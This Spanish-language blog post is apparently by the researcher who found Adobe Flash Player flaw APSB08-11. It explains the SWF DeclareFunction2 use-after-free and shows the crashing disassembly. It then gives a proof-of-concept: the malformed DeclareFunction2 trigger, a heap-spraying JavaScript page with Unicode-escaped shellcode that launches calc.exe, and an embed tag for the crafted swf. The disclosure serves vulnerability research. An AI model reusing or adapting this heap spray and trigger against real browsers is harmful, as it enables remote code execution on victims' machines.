Documentando un poco la vulnerabilidad APSB08-11
Hace algún tiempo encontré una vulnerabilidad en Adobe Flash Player. Ha sido publicada hace poco a través de ZDI como: ZDI-08-021, y en Adobe como: APSB08-11
Vamos a explicar aquí los detalles de esta vulnerabilidad más en profundidad, ya que hasta el momento no se han dado demasiados detalles sobre ella.
Adobe Flash Player 9.0.115.0 y anteriores parecen tener problemas manejando cierto tipo de tags malformados. Concretamente los problemas ocurren al manejar la acción DeclareFunction2. Si se explota correctamente la vulnerabilidad permite ejecutar código en el proceso del navegador ejecutando el plugin de flash.
Sobre el formato de los ficheros swf se puede encontrar mucha información por internet. Por ejemplo aquí hay información muy buena: http://www.m2osw.com/swf_alexref.html
Los swf constan de una pequeña cabecera seguida de un montón de tags que terminan con el tag EndTag.
Los tags tienen esta estructura:
unsigned short f_tag_and_size;
f_tag = f_tag_and_size >> 6;
f_tag_data_size = f_tag_and_size & 0x3F;
if(f_tag_data_size == 63) {
unsigned long f_tag_data_real_size;
}
else {
f_tag_data_real_size = f_tag_data_size;
}
};
Y las acciones esta otra:
char align;
unsigned f_action_has_length : 1;
unsigned f_action_id : 7;
if(f_action_has_length) {
unsigned short f_action_length;
unsigned char f_action_data[f_action_length];
}
};
Las acciones van embebidas en los tags que soportan acciones.
La acción DeclareFunction2 (código 0x8e) contenida en el tag DoInitActions es la causante de esta vulnerabilidad.
Esta acción tiene esta estructura:
unsigned short f_arg_count;
unsigned char f_reg_count;
unsigned short f_declare_function2_reserved : 7;
unsigned short f_preload_global : 1;
unsigned short f_preload_parent : 1;
unsigned short f_preload_root : 1;
unsigned short f_suppress_super : 1;
unsigned short f_preload_super : 1;
unsigned short f_suppress_arguments : 1;
unsigned short f_preload_arguments : 1;
unsigned short f_suppress_this : 1;
unsigned short f_preload_this : 1;
swf_params f_params[f_arg_count];
unsigned short f_function_length;
Y es usada para declarar funciones que pueden ser llamadas desde otras acciones más tarde.
Las funciones declaradas con esta acción soportan hasta 255 registros que se pueden manipular dentro de la función. Además es posible controlar si en estos registros se cargaran o no ciertas variables internas dentro de la función: this, arguments, super, _root, _parent y _global. Esto se hace con los bits de preloading y supressing. El parámetro f_reg_count debe ser especificado y dice al player de flash el registro más alto en uso dentro de la función. Los registros empiezan como undefined por defecto. Las variables internas que se precargan son cargadas a partir del registro 1 y se cargan en este orden: this, arguments, super, _root, _parent y _global.
El bug ocurre cuando bajo ciertas condiciones se declara una función con algún numero de registros y se suprimen los registros también marcados como precargados: this, super y arguments. En xml:
<DeclareFunction2 name=»» argc=»0″ regc=»3″ preloadThis=»1″ suppressThis=»1″ preloadArguments=»1″ suppressArguments=»1″ preloadSuper=»1″ suppressSuper=»1″ preloadRoot=»0″ preloadParent=»1″ preloadGlobal=»0″ reserved=»1″>
Aquí se muestra un desensamblado del código que casca:
.text:30058022 push ebx
.text:30058023 push esi
.text:30058024 mov esi, ecx
.text:30058026 xor ebx, ebx
.text:30058028 cmp [esi+3Dh], bl
.text:3005802B mov dword ptr [esi], offset off_301A8FB0
.text:30058031 jz short loc_3005805C
.text:30058033 mov eax, [esi+24h]
.text:30058036 push edi
.text:30058037 mov edi, [eax+1Ch]
.text:3005803A push dword ptr [esi+30h]
.text:3005803D mov ecx, edi
.text:3005803F call sub_30188B70
.text:30058044 push dword ptr [esi+40h]
.text:30058047 mov ecx, edi
.text:30058049 call sub_30188B70
.text:3005804E mov ecx, [esi+0Ch]
.text:30058051 cmp ecx, ebx
.text:30058053 pop edi
.text:30058054 jz short loc_3005805C
.text:30058056 mov eax, [ecx] (*1)
.text:30058058 push 1
.text:3005805A call dword ptr [eax]
(*1) En 30058056, ecx está apuntando a un objecto, una clase de c++, que cuando se dan las condiciones para que se reproduzca la vulnerabilidad, es un objeto inválido, y la dirección es inválida o el puntero apunta a una dirección que contiene cualquier otra cosa porque se ha reusado esa memoria.
PoC:
Como decíamos lo que parece estar ocurriendo es que se ha liberado un objeto pero en alguna parte se sigue usando un puntero a éste, y la memoria a la que apuntaba ahora contiene otras cosas. Controlando el contenido de esa memoria (usando la técnica de heap spraying por ejemplo) sería posible controlar la dirección del salto.
Aquí va un ejemplo de una página web haciendo referencia a un swf y haciendo heap spraying con una shellcode que ejecuta calc.exe.
var payLoadCode=unescape(
"%ue860%u0000%u0000%u815D%u06ED%u0000%u8A00%u1285%u0001%u0800" +
"%u75C0%uFE0F%u1285%u0001%uE800%u001A%u0000%uC009%u1074%u0A6A" +
"%u858D%u0114%u0000%uFF50%u0695%u0001%u6100%uC031%uC489%uC350" +
"%u8D60%u02BD%u0001%u3100%uB0C0%u6430%u008B%u408B%u8B0C%u1C40" +
"%u008B%u408B%uFC08%uC689%u3F83%u7400%uFF0F%u5637%u33E8%u0000" +
"%u0900%u74C0%uAB2B%uECEB%uC783%u8304%u003F%u1774%uF889%u5040" +
"%u95FF%u0102%u0000%uC009%u1274%uC689%uB60F%u0107%uEBC7%u31CD" +
"%u40C0%u4489%u1C24%uC361%uC031%uF6EB%u8B60%u2444%u0324%u3C40" +
"%u408D%u8D18%u6040%u388B%uFF09%u5274%u7C03%u2424%u4F8B%u8B18" +
"%u205F%u5C03%u2424%u49FC%u407C%u348B%u038B%u2474%u3124%u99C0" +
"%u08AC%u74C0%uC107%u07C2%uC201%uF4EB%u543B%u2824%uE175%u578B" +
"%u0324%u2454%u0F24%u04B7%uC14A%u02E0%u578B%u031C%u2454%u8B24" +
"%u1004%u4403%u2424%u4489%u1C24%uC261%u0008%uC031%uF4EB%uFFC9" +
"%u10DF%u9231%uE8BF%u0000%u0000%u0000%u0000%u9000%u6163%u636C" +
"%u652E%u6578%u9000");
var spraySlide = unescape("%u9090%u9090");
function getSpraySlide(spraySlide, spraySlideSize)
{
while (spraySlide.length*2<spraySlideSize)
{
spraySlide += spraySlide;
}
spraySlide = spraySlide.substring(0,spraySlideSize/2);
return (spraySlide);
}
var heapBlockSize = 0x98000;
var SizeOfHeapDataMoreover = 0x26;
var payLoadSize = (payLoadCode.length * 2);
var spraySlideSize = heapBlockSize – (payLoadSize + SizeOfHeapDataMoreover);
var heapBlocks = (heapSprayToAddress+heapBlockSize)/heapBlockSize;
var memory = new Array();
spraySlide = getSpraySlide(spraySlide,spraySlideSize);
heapBlocks=1470;
for (i=0;i<heapBlocks;i++)
{
memory[i] = spraySlide + payLoadCode;
}
</script>
<input type="button" language="JavaScript" /><object width="550" height="400">
<param name="movie" value="a.swf"></param></object>
Esta vulnerabilidad fue también reportada y usada por Shane Macauley para el reto de vista del concurso PWN to OWN de ZDI: